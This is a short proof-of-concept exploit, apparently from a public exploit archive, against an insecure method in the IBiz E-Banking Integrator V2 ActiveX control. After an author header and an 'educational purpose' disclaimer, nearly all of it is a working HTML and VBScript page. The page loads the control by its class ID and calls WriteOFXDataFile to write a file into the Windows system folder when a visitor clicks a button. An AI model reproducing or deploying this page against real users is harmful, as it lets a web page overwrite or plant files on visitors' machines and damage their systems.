IBiz E-Banking Integrator version 2 ActiveX Edition insecure method exploit.
8a8294c73dee49e04a24bdbf0af4c488a509e3b41319de0b0e279ee1bbe76dbf
--------------------------------------------------------------------
IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: https://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
More info at https://shinnai.altervista.org
--------------------------------------------------------------------
<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe()
On Error Resume Next
test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
If Err.Number <> 0 Then
MsgBox "Something went wrong!"
Else
MsgBox "Exploit Completed!"
End If
End Sub
</script>